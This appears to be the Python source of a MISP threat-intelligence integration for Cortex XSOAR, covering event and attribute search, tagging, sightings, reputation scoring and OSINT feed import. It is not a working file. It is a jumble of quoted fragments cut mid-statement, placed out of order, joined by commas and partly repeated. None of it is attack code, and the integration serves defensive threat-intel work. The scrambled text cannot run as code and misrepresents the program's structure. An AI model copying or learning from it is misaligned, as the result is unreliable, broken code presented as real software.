pymisp/api.py Args: demisto_query: complex query","= PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']})","has been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def","events found in MISP for the given filters: {args}\") def delete_event(demisto_args: dict): \"\"\"","command, the attrubite will be added to that existing event. \"\"\" attributes_args =","'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id',","md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response,","lists. Eventually, the outputs will be a list of attributes along with their","'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag',","if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'):","dict): \"\"\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text =","which includes tags list. found_tag (str): The tag that was scored as malicious","demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id')","match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format =","{'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args)","dict, is_attribute=False): \"\"\" Function will add tag to given UUID of event or","if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully","= { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, }","scored as malicious or suspicious. If no tag was found, then the score","raise DemistoException( f'None of required arguments presents. command {demisto.command()} requires one of {ip_object_args}')","raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module.","required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type:","return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type ==","= tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response,","else: return CommandResults(readable_output=f\"No attributes found in MISP for the given filters: {args}\") def","MISP create event\\nNew event with ID: {event_id} has been successfully created.\\n\" return CommandResults(","= 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations']","include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute')","'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'):","in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in","greater event ids are the newer ones. Returns: response (dict): The parsed outputs","demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url')","tag to given UUID of event or attribute. is_attribute (bool): if the given","return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add tag to","uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]]","MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain =","= true) we would like to add to tag_set_ids all the tags (event","'Please try to use the Trust any certificate option.') if \"NewConnectionError\" in error:","if distribution else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not","won't add the tag. Args: attribute_dict (dict): The dictionary that includes the tag","pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:', 'OR:' and 'NOT:' using","dictionary describes MISP object Returns: list: list containing dicts that GenericObjectGenerator can take.","] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url':","\"\"\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [","malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids,","by the event ids as the greater event ids are the newer ones.","dict into a list, please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary","str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment",":= tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag","1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] =","given UUID of event or attribute. is_attribute (bool): if the given UUID is","if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() }","so, the event will be added to related_events list Args: object_data_dict (dict): Event","ot tag ids (each one is str), and verify all the tags are","break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids) return","suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids","on the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy')","reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))","attribute request found_tag (str): The tag that was scored as malicious or suspicious.","'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities':","a list ot tag ids (each one is str), and verify all the","reliability score. attributes_limit (int) : Limits the number of attributes that will be","(True) or event (False). \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid,","misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets a timestamp","independence command or as part of another command (create event for example) Args:","int(tag) if tag <= 0: raise DemistoException(f\"Tag id has to be a positive","part of the event scope). If the data is attribute's (is_event_level = false),","to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as","= demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme","bool = False, demisto_args: dict = {}, new_event: MISPEvent = None): \"\"\"Adding attribute","else: raise DemistoException( f'None of required arguments presents. command {demisto.command()} requires one of","their events objects. Note: When limits the attributes amount, we sort the attributes","return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__","attributes only if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object,","proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for index, uri in enumerate(uri_list,","== 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object':","0) # field doesn't exist when this is an attribute level, default is","tags (event ones and the event's attribute tags ones as it is part","and values from Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] =","GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}]","value in MISP and then calculates it's dbot score. The score is calculated","elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command","suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by following logic. Indicators of attributes","found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability,","= { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args)","MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg","limits the attributes amount, we sort the attributes list by the event ids","of attributes). score: the indicator score found_tag: the tag (id) which made the","size: {limit}\\n\" if len(response_for_context) == limit: pagination_message += f\"Showing page {page} out others","',') command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids,","for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []):","'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format':","that match the search query when user set the arg 'compact' to True\"\"\"","getting all the attributes which match the required indicator value, this function parses","attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if not attributes_list: return None","be BAD if the threat level id is in [1,2,3]. Otherwise, the threat","= f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None)","ValueError: raise DemistoException(f\"Tag id has to be a positive integer, please change the","suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability,","MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag)","= params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP","events[i]['RelatedEvent'] = [] # there is no need in returning related event when","suspicious) are stronger than events' tags. \"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag","== 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args))","limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids)","== 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist')","from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args:","= args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg)","'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]:","'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution':","= [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to","object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen',","number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else:","removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output)","== \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in","-> List[dict]: \"\"\" Converts args dict into a list, please see GenericObjectGenerator Class","= demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip","converts it to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\"","controller. \"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit =","MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if","make sure the API key and the URL are correct\" in error: return_error('Unable","ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id","got in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if","demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has","if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if","to replace keys in Returns: Union[dict, list, str]: same object type that got","Union[dict, requests.Response]) -> dict: \"\"\" Convert the response of event search returned from","= tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id)","'demisto_query' does not contains any of the complex operators the original input will","'50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]:","given object we go over all the tags and search if found_tag is","hashFormat will be used only in output hash_format = get_hash_type(value) if hash_format ==","event_tag_ids = set(), set() found_related_events = {} if not attributes_list: return None for","'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids':","readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids'))","'8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v} for k,","MISP object Returns: list: list containing dicts that GenericObjectGenerator can take. Examples: >>>","dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for value: {value}\") def","'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category':","= demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing","def warn(*args): \"\"\" Do nothing with warnings \"\"\" pass # Disable requests warnings","MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from","return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results(","response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been successfully added to attribute {att_id}' return","'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info',","test_extract_error. Args: error: list of responses from error section Returns: List[Dict[str, any]]: filtered","return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error]","about all the events that include the indicator Please see an example for","[galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects:","enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response","it will be removed from the suspicious tag ids set and will be","context data (array of attributes). score: the indicator score found_tag: the tag (id)","every attribute we remove the \"Related Attribute\" list and limits the tags and","be stayed only in the malicious one (as a tag that was configured","the UUID and tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable =","tag is only related to an attribute we would like to add it","== limit: pagination_message += f\"Showing page {page} out others that may exist\" else:","found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag in","= PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.')","internal: bool = False, demisto_args: dict = {}, new_event: MISPEvent = None): \"\"\"Adding","or file hash). dbot_type (str): Indicator type (file, url, domain, email or ip).","response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current","events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output","found_tag: the tag (id) which made the indicator to get that score found_related_events","if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp'))","attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event","len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids)","attribute to internal (bool): if set to True, will not post results to","if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0","'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org':","given domain: {value} is not valid\") if dbot_type == 'URL': if not re.compile(urlRegex,","dict) -> CommandResults: \"\"\" Execute a MISP search using the 'event' controller. \"\"\"","if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format:","Union[str, int]) -> str: \"\"\" Gets a timestamp from MISP response (1546713469) and","} for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns","'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID =","{ (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in","return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a new MISP event object and","return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given object we go","MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids',","set to True, will not post results to Demisto demisto_args (dict): Demisto args","true) we would like to add to tag_set_ids all the tags (event ones","MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else 'Event from XSOAR' event.date","def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\"","= ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type',","Please provide a valid value for the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit',","is no need in returning related event when searching for an event build_galaxy_output(events[i])","command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting':","'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args:","raw_response=event ) def add_attribute(event_id: int = None, internal: bool = False, demisto_args: dict","'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value} is not","k, v in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args:","DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing the required tag was","'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation':","doesn't exist when this is an attribute level, default is '0' tag_id =","bool, proxies: dict): \"\"\"Gets an OSINT feed from url and publishing them to","\"\"\"Gets a list ot tag ids (each one is str), and verify all","the score will be BAD if the threat level id is in [1,2,3].","str]) -> Union[dict, list, str]: \"\"\" Replacing keys from MISP's format to Demisto's","= demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip',","misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets a timestamp from MISP","of the complex operators the original input will be returned Returns: str: dictionary","pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import","add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url object in MISP scheme Scheme described","tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all the attributes which","full related attributes only if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute')","'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event","= argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format:","over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False))","limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message","sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error","reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability,","if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for","[{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'},","Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a new MISP event","see UT: test_extract_error. Args: error: list of responses from error section Returns: List[Dict[str,","Fill in a valid key in the integration configuration.') MISP_URL = params.get('url') VERIFY","= f'Tag {tag} has been successfully removed from the event {uuid}' return CommandResults(","in test_data/reputation_command_response.json Please see an example for a parsed output in test_data/reputation_command_outputs.json \"\"\"","the indicator to be scored as malicious or suspicious. Args: all_attributes (dict): The","'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event","removed from the suspicious tag ids set and will be stayed only in","re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email address: {value} is not valid\") def","PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except","and the tag is only related to an attribute we would like to","'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return","delimiter for operators. using the operators is optional. if 'demisto_query' does not contains","data outputs, for every attribute we remove the \"Related Attribute\" list and limits","found_tag (str): The tag that was scored as malicious or suspicious. If no","uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added to","event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def","= argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text',","from typing import Union, List, Dict from urllib.parse import urlparse import urllib3 from","'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'),","attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'),","'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat',","key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score,","for a parsed output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute')",") def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove tag to given UUID","output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\"","address, email address, domain, url or file hash). dbot_type (str): Indicator type (file,","if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1","if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide a valid","by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type':","for a response in test_data/reputation_command_response.json Please see an example for a parsed output","to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in","attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator =","'0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL':","more information and examples please see UT: test_extract_error. Args: error: list of responses","or suspicious. event_name (str): Name of the event \"\"\" related_events = [] object_tags_list","complex query or if no complex query found returns the original input \"\"\"","or event, depends on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ {","[SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'),","get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file hash of","tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all","to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to","is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag","# attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output,","event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag","'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event',","wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes","Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert the response of attribute search returned","tag. \"\"\" scored_events = [] if found_tag: for attribute in all_attributes: event =","internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"##","In addition, returns set of the found tag ids. Some tags have a","The given domain: {value} is not valid\") if dbot_type == 'URL': if not","command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, 